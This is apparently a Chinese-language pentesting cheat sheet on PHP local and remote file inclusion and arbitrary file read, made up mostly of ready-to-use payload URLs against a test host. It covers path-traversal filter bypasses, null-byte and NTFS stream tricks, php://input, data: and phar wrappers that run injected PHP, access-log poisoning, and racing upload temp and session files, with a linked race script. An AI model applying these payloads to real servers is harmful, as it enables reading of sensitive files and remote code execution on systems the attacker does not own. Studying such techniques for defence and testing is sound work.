一,PHP中关于文件的操作
任意文件读取/下载,任意文件删除,任意文件包含
file_get_contents(),unlink(),include()
支持【./】和【../】,【../】可用来穿越目录
http://luoke.cn:81/test/1.php?path2=../1.txt
对于将【../】替换为空的,可以双写绕过【..././】
对于强制要求以【upload/】开头的,可以【upload/../../】绕过
对于强制要求以【.xlsx】结尾的,可以【1.php%00.xlsx】绕过
对于Windows服务器支持【..】,支持NTFS文件流【txt::$DATA】
http://luoke.cn:81/test/1.php?path2=..1.txt
支持短文件名,注意,apache默认url也支持短文件名,
http://luoke.cn:81/test/1.php?path2=123456~1.txt
http://luoke.cn:81/test/123456~1.txt
IIS虽然不支持,但是可以用用404和400猜解出来
https://github.com/lijiejie/IIS_shortname_Scanner
file_get_contents()和include()
对于Windows服务器支持后面有一些多余的字符,比如空格和点,bp fuzz如下
%20,%22,%2e,%3c,%3e,%81-%fe
http://luoke.cn:81/test/1.php?path2=1.txt%fe
还可以用<或者>当做通配符代替后缀
http://luoke.cn:81/test/1.php?path2=1.<x<
http://luoke.cn:81/test/1.php?path2=1.<
http://luoke.cn:81/test/1.php?path2=1.>>>
二,PHP中支持多种协议
file
http://luoke.cn:81/test/1.php?path2=file:///C:/xampp/htdocs/1.txt
http(s)和ftp
file_get_contents需要allow_url_fopen=On
include需要allow_url_fopen=On allow_url_include=On
http://luoke.cn:81/test/1.php?path2=http://www.baidu.com
http://luoke.cn:81/test/1.php?path2=ftp://luoke.cn/Downloads/test/1.bat
php://filter
需要allow_url_fopen=On,用include也只能读取文件内容而不能执行代码
http://luoke.cn:81/test/1.php?path2=php://filter/resource=1.txt
http://luoke.cn:81/test/1.php?path2=php://filter/convert.base64-encode/resource=1.txt
http://luoke.cn:81/test/1.php?path2=php://filter/read=string.toupper|string.rot13/resource=1.txt
也可以和其他协议一起来用
http://luoke.cn:81/test/1.php?path2=php://filter/convert.base64-encode/resource=https://www.baidu.com
php://input
需要allow_url_include=on
POST /test/1.php?path1=php://input
<?php phpinfo();?>
更多php://协议见
https://www.php.net/manual/zh/wrappers.php.php
zip,compress.zlib, compress.bzip2,phar
http://luoke.cn:81/test/1.php?path1=zip://C:xampphtdocstest1.zip%23test.php
http://luoke.cn:81/test/1.php?path1=compress.bzip2://C:xampphtdocstest1.bz2
http://luoke.cn:81/test/1.php?path1=compress.zlib://C:xampphtdocstest1.gz
上面三个必须使用绝对路径,bz2和gz压缩包需要在linux环境生成
tar -czf 1.gz phpinfo.php
tar -cjf 1.bz2 phpinfo.php
http://luoke.cn:81/test/1.php?path1=phar://1.zip/test.php
data:text/plain
需要allow_url_fopen=On allow_url_include=On
http://luoke.cn:81/test/1.php?path1=data:text/plain,<?php%20phpinfo();?>
http://luoke.cn:81/test/1.php?path1=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
smb
仅windows服务器支持,双off都可以包含,但国内公网已屏蔽smb协议
http://luoke.cn:81/test/1.php?path1=127.0.0.1UsersAdministrator.log
三,无法上传文件如何包含
可以包含缓存或者日志文件
http://luoke.cn:81/test/1.php?<?php phpinfo();?>
用burp直接发包,浏览器会url编码,这样即使报错400也会被写入log
http://luoke.cn:81/test/1.php?path1=../../apache/logs/access.log
包含php的上传缓存,目录于phpinfo中upload_tmp_dir
其原理是对任意php构造上传表单(即使无法上传文件),都会在此目录生成一个php****.tmp的缓存文件
可以包含此文件,但文件存活时间很短且随机名称,所以可以在phpinfo页面上传文件, phpinfo中含有此缓存文件的名称。
同时会将一些head头和GET打印出来,会延迟tmp文件删除的时间,需要在head和GET头填入垃圾字符。脚本如下
https://github.com/luoke90hou/files/blob/main/include_tmp.py
无phpinfo,有PHPSESSID还可以包含tmp目录里的session文件
session_start()开启session。
随便构造一个对任意php文件上传内容为<?php phpinfo();?>的文件
<form action="http://luoke.cn:81/echo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="" />
<input type="file" name="file" />
<input type="submit" />
</form>
然后burp条件竞争
http://luoke.cn:81/test/1.php?path1=file:///C:xampptmpsess_2sm7vtt2i612p3ith57rhi5gqc
成功包含
CVE-2018-12613 phpmyadmin也是包含的session文件
觉得还不错的可以关注一下公众号——珂技知识分享,有些渗透实例会发布在上面。